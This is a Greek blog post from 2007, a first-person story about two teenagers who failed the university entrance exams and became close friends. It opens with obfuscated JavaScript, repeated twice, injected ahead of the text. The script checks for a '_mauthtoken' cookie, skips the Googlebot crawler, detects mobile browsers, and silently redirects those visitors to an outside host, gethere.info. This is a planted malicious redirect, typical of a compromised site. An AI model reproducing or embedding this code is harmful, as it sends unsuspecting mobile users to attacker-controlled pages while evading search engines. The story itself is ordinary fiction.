_0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαΐου 19, 2007

«σκατόπαιδα»

Filed under: Uncategorized — thelastrealanwnymous @ 10 :40 πμ

(Όποιος «μένει» στο σχολείο πετυχαίνει στη ζωή
…όποιος μένει στην ίδια εννοούμε…)

Με την Έλενα γνωριζόμαστε από το σχολείο. Τότε με ψιλοσνόμπαρε. Τώρα; Τώρα έχουμε γίνει σχεδόν κολλητοί. Ξυπνάω κατά τις 12. 00 κάθε πρωί και η πρώτη μου κίνηση είναι να την πάρω τηλέφωνο. Αν το σταθερό της μιλάει στέλνω μήνυμα στο κινητό της και δίνω διαταγή: «Κλείσε». Έτσι μονολεκτικά όπως το διαβάσατε. Και αυτή το κλείνει. Τότε την παίρνω και μιλάμε. Τι λέμε; Όλοι αναρωτιούνται τι μπορεί να λέμε. Αφού όλη μέρα είμαστε μαζί, το βράδυ έξω μαζί, όλη την ώρα μιλάμε, γελάμε, πειράζουμε τους άλλους. Και εγώ τώρα που το σκέφτομαι απορώ τι μπορεί να λέμε από τις 12.00 το πρωί (χαράματα), μέχρι τις τρεις τη νύχτα που τη πάω σπίτι της;

Πώς γίναμε τόσο κολλητοί αυτή τη χρονιά; Δώσαμε πανελλήνιες και οι δύο και δεν περάσαμε και οι δύο. Αυτό ήταν το κακό. Μετά ο ντάντι της είχε κάνει μία λανθασμένη επιχειρηματική κίνηση και έχασε ένα μεγάλο μέρος των διαθεσίμων του, οπότε άλλαξαν και τα σχέδια για της σπουδές της κόρης του. Ενώ η Έλενα σχεδίαζε να σπουδάσει στο Παρίσι βρέθηκε καθηλωμένη εδώ μαζί μου να προσπαθεί να δώσει για δεύτερη χρονιά πανελλήνιες ή να συμβεί το θαύμα και να ξαναβγεί στην επιφάνεια ο ντάντι της οπότε και εκείνη να βρεθεί στο πολυπόθητο Παρίσι.

Στην αρχή δεν ήξερα ότι έμεινε εδώ στην επαρχία, εδώ σ’ αυτό το καταραμένο τόπο που ανθεί η τοκογλυφία και η παροχή υπηρεσιών. (Μη θεωρείτε πολιτικό σχόλιο αυτή την τελευταία παράγραφο, είναι ένας χωρόχρονος που προσδιορίζει την εξέλιξη της ιστορίας αυτών των δύο σκατόπαιδων, της Έλενας και εμένα, διότι όπως θα δείτε παρακάτω σ’ αυτή την ιστορία, πρόκειται για δύο τυπικές περιπτώσεις «σκατόπαιδων»).

Δεν ξέραμε ούτε εγώ ούτε εκείνη ότι μείναμε δυο αποτυχημένοι στην ίδια πόλη και περάσαμε φοβερές μοναξιές πριν συναντηθούμε γιατί και οι δικοί μου κολλητοί και οι δικοί της ή πέρασαν σε κάποια σχολή ή πήγαν σε κάποια επαρχία της μεγάλης μας πατρίδας που λέγεται ΕΟΚ. Εγώ θα προτιμούσα την Ιταλία, τη χώρα του ντιζάιν, της οικολογικής παραγωγής προϊόντων, της πίτσας και του σπαγγέτι και πάνω απ’ όλα την αχτύπητη πατρίδα της Φεράρι, της κόκκινης αστραπής που βάζει φωτιά στους δρόμους.

Σόρρυ παρασύρθηκα. Αν κάποια μέρα περάσω στο πανεπιστήμιο, και τα καταφέρω να κάνω μεταπτυχιακό στο εξωτερικό και μετά αν χτυπήσω μία φοβερή θέση στο δημόσιο, υπόσχομαι με τη πρώτη μίζα που θα πάρω, υπόσχομαι εδώ και τώρα στον εαυτό μου, να τα διαθέσω για μία Φεράρι, ως ελάχιστη ανταμοιβή για το υψηλό μου IQ και την προχωρημένη μου σκέψη.

Τρομερή μοναξιά εκείνες τις μέρες και εγώ και η Έλενα ώσπου ο πρύτανης διοργάνωσε κάποιο χορό υποδοχής των (πρωτοετών;) ίσως και αλλοδαπών φοιτητών (από προγράμματα ανταλλαγών των πανεπιστημίων). Εγώ πήγα με σκοπό να γνωρίσω μία πρωτοετίνα και η Έλενα κάποιον φοιτητή ακόμα και μεγαλύτερου έτους, ακόμα και τελειόφοιτο έστω και τον πιο παππού από τους καθηγητές στην ύστατη περίπτωση, προκειμένου να διώξει τη θλίψη της.

Όμως παιδιά δεν θα το πιστέψετε. Να το λέω τώρα και ανατριχιάζω. Η αποτυχία είναι φοβερό πράγμα. Ο αποτυχημένος νομίζει ότι έχει μία σφραγίδα στο μέτωπο που λέει «Δεν πέρασε» και το «ΔΕΝ» είναι με μεγάλα γράμματα. Έτσι καταλήγει εσωστρεφής, μοναχικός και αντικοινωνικός. Πήγα στο χορό, ήρθε και η Έλενα και κανείς μας δεν μπορούσε να διασκεδάσει. Ακόμα δεν ξέραμε ότι είμαστε και οι δύο εκεί. Στην αρχή τα πράγματα ήταν νορμάλ. Πλησίασα μία κοπέλα με μαύρα μακριά μαλλιά, πολύ διακριτική με μία ομορφιά που δεν ήταν κραυγαλέα και προσπάθησα να ανοίξω συζήτηση. Με ένα τρέμουλο πάντα με ένα φόβο ότι φαίνεται η «σφραγίδα» μου, με μία τρομερή ταραχή κατάφερα να αρθρώσω: «Τι γίνεται; Νομίζω ότι κάπου σε ξέρω, μήπως είσαι από τη Ναύπακτο;» Με κοίταξε με ειρωνεία και είπε: «Και συ πως το ξέρεις;» «Ήμουν διακοπές εκεί πέρυσι» «…και πέρασες καλά;» με ρώτησε. «Εεε ναι… από τη στιγμή που σε είδα ναι» κατάφερα να πω. «Και περνάω και τώρα καλά που σε ξαναείδα» είπα με περισσότερη άνεση. «Μόνο που εγώ δεν είμαι από τη Ναύπακτο» ήρθε μία φονική απάντηση. «Και από πού είσαι:» ρώτησα. «Αυτό δεν σε ενδιαφέρει», μου είπε και μου γύρισε την πλάτη προσπαθώντας να απομακρυνθεί. Της πρότεινα να φέρω δύο σφηνάκια για να τσουγκρίσουμε για τη γνωριμία μας και πήγα προς το μπαρ. Καλός ο ενθουσιασμός αλλά δεν φτάνει, τριγύριζα με δύο σφηνάκια στα χέρια να την ψάχνω για κάνα δεκάλεπτο αλλά είχε εξαφανιστεί. Τότε έπεσα πάνω στην Έλενα. Όχι δεν της έχυσα κανένα σφηνάκι στο τι-σερτ της , ούτε της πάτησα τα παπούτσια από αμηχανία. Κοιταχτήκαμε από μια πολύ τετ α τετ απόσταση για λίγα δευτερόλεπτα. Ήταν αρκετά για να «δω» τη «σφραγίδα της» και εκείνη τη «δική μου». Πήρε με φυσικότητα το ένα σφηνάκι τσουγκρίσαμε και τα «κατεβάσαμε.» Στο τρίτο σφηνάκι είχαμε αρχίσει να μιλάμε πολύ εγκάρδια, μα πάρα πολύ εγκάρδια, και αγκαλιασμένοι πολύ σφιχτά κατευθυνθήκαμε προς τις τουαλέτες του κλαμπ. Μπήκαμε σε μία καμπίνα και είχαμε κολλήσει τόσο πολύ ο ένας πάνω στον άλλο ,που ένας υπέροχος ιδρώτας διαπερνούσε τα κορμιά μας σβήνοντας τις «καταραμένες σφραγίδες της αποτυχίας» από τα μέτωπά μας.

Τότε έκανα μια κίνηση για της βγάλω το μπλουζάκι και έδωσα μία στο κινητό της, αυτό το ολοκαίνουργο κατακόκκινο μικροσκοπικό μοτορόλα το οποίο προσγειώθηκε μέσα στη λεκάνη της τουαλέτας. Μείναμε και οι δύο άφωνοι. Πάνω από διακόσια χιλιάρικα ή εξακόσια ευρώ έκαναν ένα μακροβούτι σε ρηχά νερά. Η Έλενα το κοίταξε με απελπισία και μπορώ να πω ότι την είδα να απομακρύνεται από τη λεκάνη. Την κοίταξα ψύχραιμος κατάματα. Ήμουν σίγουρος ότι έβλεπε τη «σφραγίδα μου» στο μέτωπό μου. Μετά έσκυψα, έχωσα το χέρι μου στη λεκάνη έψαξα λίγο γιατί ήταν μικροσκοπικό όπως σας είπα το έπιασα και το τράβηξα έξω. Δεν μιλούσε. Άνοιξα τη πόρτα και έριξα μία ματιά μήπως κάποιος ήταν απ’ έξω. Κανείς. Τότε με το μοτορόλα στο χέρι πήγα στη βρύση και το έβαλα κάτω από το νερό. Αφού το ξέπλυνα πίεσα το μηχανισμό με το υγρό κρεμοσάπουνο το σαπούνισα και το πέρασα ένα δεύτερο χέρι. «Μα τι κάνεις εκεί ρε σκατόπαιδο» μου φώναξε με θυμό η Έλενα. «Άσε και θα δεις» της είπα.

Μόλις τελείωσα με το πλύσιμο και δεν μύριζε πλέον της είπα να πάμε σπίτι μου. Δεν ήθελε να έρθει. Της είπα ότι θα της «σώσω» τα ονόματα και τα τηλέφωνα που είχε στη κάρτα SIM του κινητού της. Τελικά υποχώρησε και σε όλο το δρόμο άκουσα πόσο το αγόρασε, πόσο γκρίνιαξε στο ντάντι της που έχει γίνει φοβερός τσιγκούνης τώρα τελευταίως για να της το αγοράσει και μετά από πολύ φασαρία της το πήρε και προτίμησε να το πληρώσει παρά να το πάρει με σύνδεση γιατί τη φοβόταν πολύ όταν χρησιμοποιούσε ανεξέλεγκτα το τηλέφωνο.

Φθάσαμε σπίτι μου. Οι δικοί μου έλειπαν. Σηκώθηκε ο παππούς και με ρώτησε τι κάνω τόσο νωρίς στο σπίτι. Του είπα ότι έχω δουλειά και εξαφανίστηκε στο δωμάτιό του. Έβγαλα τη κάρτα SIM από το κινητό της τη στέγνωσα καλά με το πιστολάκι και την έβαλα στο δικό μου. Κάλεσα το τηλέφωνο του σπιτιού μου και λειτουργούσε κανονικά. Της είπα να κρατήσει το NOKIA μου για λίγες μέρες να δούμε τι θα κάνω με το δικό της. Μετά πήγαμε στη κουζίνα κρέμασα το μοτορόλα από τον εξαεριστήρα με μία κορδέλα και τον άνοιξα να δουλέψει όλη τη νύχτα. Μου είπε ότι αν ήταν μόνη της δεν θα έβαζε πότε το χέρι για να το φθάσει. Θα το άφηνε εκεί. Προσπάθησα να την φιλήσω αλλά το καλό κλίμα είχε χαθεί, είχε εξατμιστεί. Βγήκαμε και την πήγα σπίτι της με τα πόδια. Φρικτή βραδιά.

Όταν γύρισα σπίτι οι δικοί μου έκλεισαν τον εξαεριστήρα χωρίς να προσέξουν το κινητό. Τον άνοιξα πάλι ελπίζοντας ότι ο παππούς που ξυπνάει μες τη νύχτα για τουαλέτα δεν θα το πρόσεχε ποτέ. Αλήθεια απορώ πως έχει γλιτώσει το κινητό του παππού τόσο καιρό από την τουαλέτα.

Την άλλη μέρα ξύπνησα όπως πάντα στις 12.00. Κατέβηκα στη κουζίνα και η μητέρα μου με πείραξε λέγοντας ότι μαγείρεψα το νόκια και το έκανα μοτορόλα; Δεν απάντησα το πήρα στα χέρια μου και είδα ότι λειτουργούσε. Πήρα αμέσως την Έλενα. «Έλα βρε σκατόπαιδο» μου είπε. «Τι κάνει το κινητό μου;» «Στέγνωσε» της είπα. Όμως η Έλενα δεν ήταν διατεθειμένη να πιάσει ξανά στα χέρια της το μοτορόλα.

Κάθε μέρα στις 12.00 ξεκινάμε τη μέρα μας μαζί με έναν όρκο: «Αν περάσω στις πανελλήνιες ορκίζομαι να γίνω υπουργός παιδείας και να καταργήσω τις εξετάσεις. Αν σπουδάσω στο εξωτερικό όλοι εδώ θα με βλέπουν πλέον μόνο σε περιοδικά, στις κοσμικές στήλες και στο MTV”

Εκείνη τη μέρα στις 11 Σεπτεμβρίου ξύπνησα όπως πάντα στις 12.00. Πήρα την Έλενα που ήταν πολύ ανήσυχη και μου είπε ότι είχε ξυπνήσει νωρίτερα γιατί άκουσε το πατέρα της να φωνάζει και με διέταξε να ανοίξω αμέσως τη τηλεόραση. Είδα τους πύργους να καίγονται και άκουσα από χιλιάδες στόματα τηλεπαρουσιαστών να εκφράζουν τη φρίκη και τον αποτροπιασμό τους. Δεν μπορώ να καταλάβω όμως: δεν υπάρχει εκεί ένα αεροπλάνο να ρίξει επιβραδυντικό υγρό; Κάτι τέλος πάντων, δηλαδή μόνο από το έδαφος επεμβαίνουν οι πυροσβέστες; Μέσα στη καρδιά της τεχνολογίας δεν υπάρχει κάτι που να μειώσει τα θύματα, να τα γλιτώσει από την αγωνία της φωτιάς και από την απόγνωση του άλματος στο κενό;

Η Έλενα ήταν πολύ απογοητευμένη στο τηλέφωνο. Ο ντάντι της δήλωσε αμέσως ότι τα χρηματιστήρια θα πέσουν κατακόρυφα. Από το πρωί μιλούσε στο κινητό και έδινε εντολές πωλήσεων στους αντικριστές του. Έβλεπε ότι ενώ οι τιμές ήταν ελκυστικές και είχε προβεί σε αγορές τις αμέσως προηγούμενες μέρες, τα πράγματα θα γινόταν ακόμα χειρότερα και είναι άγνωστο για πόσο καιρό θα διαρκούσε η κρίση.

Το Παρίσι γινόταν πλέον ένα μακρινό όνειρο και η κατάρα που στοιχειώνει αυτή τη πόλη – ναι η κατάρα, όπως ακριβώς το είπα, κάτι μεταξύ «Παρασκευή και 13» και «δρόμος με τις λεύκες νο 11», αυτή η ανεξήγητη κατάσταση που σε όλη τη χώρα έχει ηλιοφάνεια και εδώ εξακολουθεί να φυσάει  με μανία, αυτή η αρρώστια που έχει πιάσει όλους τους κατοίκους να θέλουν να νοικιάσουν και το τελευταίο «υπόγειο» σε κάποιο φοιτητή για 300 ευρώ το μήνα, αυτή η τρέλα που κάνει όλους να μαζεύονται γύρο από ένα δρόμο στο κέντρο – αυτή η κατάρα φαίνεται να κρατάει και μας δέσμιους, σαν χρυσόψαρα αναγκασμένα να κολυμπήσουν στη γυάλα με το βρώμικο νερό που ζούσαν πάντα.

Από εκείνη τη μέρα η Έλενα γινόταν πολύ νευρική πλέον. Ο πατέρας της είχε γίνει ανυπόφορος. Δεν ξέρω τι ζώδιο είναι αλλά το κλίμα στις διεθνείς αγορές τον επηρεάζει υπερβολικά, κουρελιάζει τα νεύρα του και κανείς δεν μπορεί να τον αντέξει στο σπίτι. Εγώ έχω γίνει ο εξομολογητής της Έλενας, ο ψυχαναλυτής της και θα ήθελα και πάρα πολύ να είμαι και ο εραστής της αλλά είναι κάπως νωρίς ακόμα. Παρ’ όλα αυτά παίζω το δύσκολο ρόλο μου πολύ άψογα και ας γίνομαι «σκατά» κάθε μέρα που έρχεται θυμωμένη και κλαίει στον ώμο μου. (Τι σκατόπαιδο είμαι άλλωστε). Τη μία μέρα ο πατέρας της είπε κομμένες οι διακοπές τα Χριστούγεννα γιατί θα τους γονατίσουν τα έξοδα. Την άλλη είπε θα βάλει ηλεκτροφόρα σύρματα γύρω από το σταθερό τηλέφωνο του σπιτιού για να μην πλησιάζει κανείς. Και η Έλενα έρχεται και μου τα λέει χαρτί και καλαμάρι. «Δεν τον αντέχω, δεν τον αντέχω, δεν είναι αυτός ο πατέρας μου, έχει γίνει ο μεγαλύτερος τσιγκούνης όλως των εποχών.»

Ο πατέρας της Έλενας ήταν ένας πολύ έξυπνος και εργασιομανής άνθρωπος. Ευέλικτο μυαλό με φοβερό πάθος για τη δουλειά του. Είχε λοιπόν μετατρέψει ένα δωμάτιο από το ομολογουμένως πολύ μεγάλο σπίτι τους σε γραφείο με συντηρητική επίπλωση, χαλί στο δάπεδο, βαριές κουρτίνες και είχε εκεί τον υπολογιστή του, δεύτερη γραμμή τηλεφώνου, φαξ ώστε να μπορεί να εργάζεται κάποιες στιγμές απομονωμένος και απαλλαγμένος από το κλίμα του γραφείου, προσπαθώντας να διατηρεί την καθαρότητα και την οξύνοια των σκέψεών του ανέπαφη.

Εκεί λοιπόν στο «κρησφύγετο του» είχε και μία πανάκριβη συλλογή από πούρα, που την άνοιγε όταν καλούσε μεγάλους πελάτες για κατ’ ιδίαν συζητήσεις ή σε πολύ σημαντικά γεγονότα της οικογένειας. Από τη στιγμή που στράβωσαν τα πράγματα είχαν απομείνει μόνο πέντε πούρα εκεί και τους είχε πει ότι η πουροθήκη του με τους υγραντήρες της, τα θερμόμετρα και τα αξεσουάρ καθώς και τα εναπομείναντα πέντε πολύτιμα πούρα της ήταν απαγορευμένη περιοχή για όλους στο σπίτι.

Η Έλενα είχε ανάμικτα συναισθήματα: Την εξαγρίωνε η στάση του, αλλά τον λυπόταν συγχρόνως. «Απαγορευμένη περιοχή;» σκέφτηκε η Έλενα, «καλά συνέχισε έτσι και θα σου πω ποιοι θα δοκιμάσουν τα πούρα σου.»

Πήγαινα πιο σπάνια στο σπίτι της και ερχόταν συχνότερα στο δικό μου. Κάτι μας έπιανε και δεν μπορούσαμε να διαβάσουμε μαζί, αλλά ούτε και …μόνοι μας διαβάζαμε. Ακούγαμε κάτι φριχτές παροιμίες ότι τα κακά έρχονται όλα μαζεμένα, ότι η γκαντεμιά είναι μία ασθένεια που χτυπάει κατ’ εξοχήν τους γκαντέμηδες και ότι η κάτω βόλτα είναι μία κατηφόρα που σε παρασύρει διαρκώς χαμηλότερα. Είχαμε αποκτήσει όμως φοβερές γνώσεις για όλα τα κινητά που κυκλοφορούσαν στην αγορά. .Τα «σκατοκινητά μας» δεν μας ικανοποιούσαν, διότι το δικό μου πανάρχαιο νόκια – που το είχε εκείνη – δεν δεχόταν πλέον τα καινούρια εικονομηνύματα, ούτε στο ίντερνετ έμπαινε, ούτε γουάπ είχε, και το δικό της με την υγρασία που είχε πάρει έκανε συχνά διακοπές και όσο κι αν το στέγνωσα πολλές φορές έμενα εκτός δικτύου.

Αρχίσαμε μαζί το κάπνισμα, αλλά το κάναμε κρυφά διότι ο πατέρας της θα το χαρακτήριζε καινούριο άχρηστο έξοδο, ενώ οι δικοί μου το έβρισκαν υπερβολικά ανθυγιεινό. Εγώ πνιγόμουν πολύ όταν κατέβαζα τον καπνό κάτω αλλά ένας άντρας που συνοδεύει την Έλενα ποτέ δεν παραδέχεται τέτοια πράγματα.

Το μόνο καλό που ακούσαμε αυτό τον καιρό ήταν η άποψη ενός «τρελαμένου» τύπου, υπάλληλος του πατέρα της περίπου στα τριανταπέντε. Μας βρήκε μία μέρα στο δρόμο μαζί και έκανε σαν παλαβός να μας κεράσει καφέ. Πήγαμε για καφέ και κάποια στιγμή μας ρώτησε πως πάει το διάβασμα. Του είπαμε την αγαπημένη μας έκφραση πλέον: «σκατά» και γέλασε πολύ και μας είπε το εξής απίθανο ποιηματάκι που μας ανέβασε: «Όποιος μένει στο σχολείο, πετυχαίνει στη ζωή». Γελάσαμε πάρα πολύ. Τον θεωρούσαμε πολύ ξενέρωτο, η Έλενα μου είχε πει ότι ο πατέρας της έλεγε ότι είναι ο πιο ανεγκέφαλος στο προσωπικό αλλά τελικά αποδείχτηκε ότι ο τύπος είχε πολύ πλάκα (χιούμορ εννοώ) και είχε πολύ καλό επικοινωνιακό στυλάκι. Μετά κάθισε και μας εξήγησε ότι όλοι οι φίλοι του που τα παράτησαν στο γυμνάσιο είχαν τώρα δικές τους επιχειρήσεις – δικά τους μαγαζιά ή αντιπροσώπευαν κάτι πολύ χρήσιμο στην αγορά – ενώ οι πτυχιούχοι και μερικοί από αυτούς και με διδακτορικά ήταν άνεργοι ή υπάλληλοι με ένα ανεκτό μισθό. Τα παραδείγματα όμως είπε, δεν λένε τίποτε γιατί μπορεί να είναι και απλές συμπτώσεις. Εκείνος νομίζει ότι τα άτομα που δεν ανέχονται το σχολείο αναπτύσσονται σε μία λογική ελευθερίας, απαλλαγμένοι από τα καλούπια των εκπαιδευτικών προγραμμάτων και τελικά αποδεικνύεται ότι η αγορά σήμερα, έχει περισσότερο ανάγκη από άτομα με τέτοιες ιδέες, παρά από πειθήνιους εκτελεστές αποφάσεων. Μόλις έφυγε ο τύπος, αφού μας χαιρέτησε πολύ εγκάρδια, πιάσαμε αμέσως δουλειά με την Έλενα. Γράψαμε το μήνυμα στα κινητά μας και το στείλαμε αμέσως σε όλους τους γνωστούς και φίλους και φυσικά σε όλα τα άτομα από το φροντιστήριο που συμμετείχαν μαζί μας σε όλη αυτή τη προσπάθεια των πανελλήνιων. « …όποιος μένει στο σχολείο πετυχαίνει στη ζωή – όποιος μένει στο σχολείο πετυχαίνει στη ζωή – όποιος μένει στο σχολείο πετυχαίνει στη ζωή…» Και δεν σας είπα και το σημαντικότερο: μας είπε ότι έχει παρατηρήσει και το αντίστροφο ότι δηλαδή όποιος μένει στο σχολείο έχει σίγουρα εξασφαλίσει το μέλλον του, έχει σίγουρα το εισιτήριο της επιτυχίας στα χέρια του, ενώ για όλους αυτούς που πετυχαίνουν ακόμα και στις πανελλήνιες το μέλλον είναι στην κυριολεξία αμφίβολο.

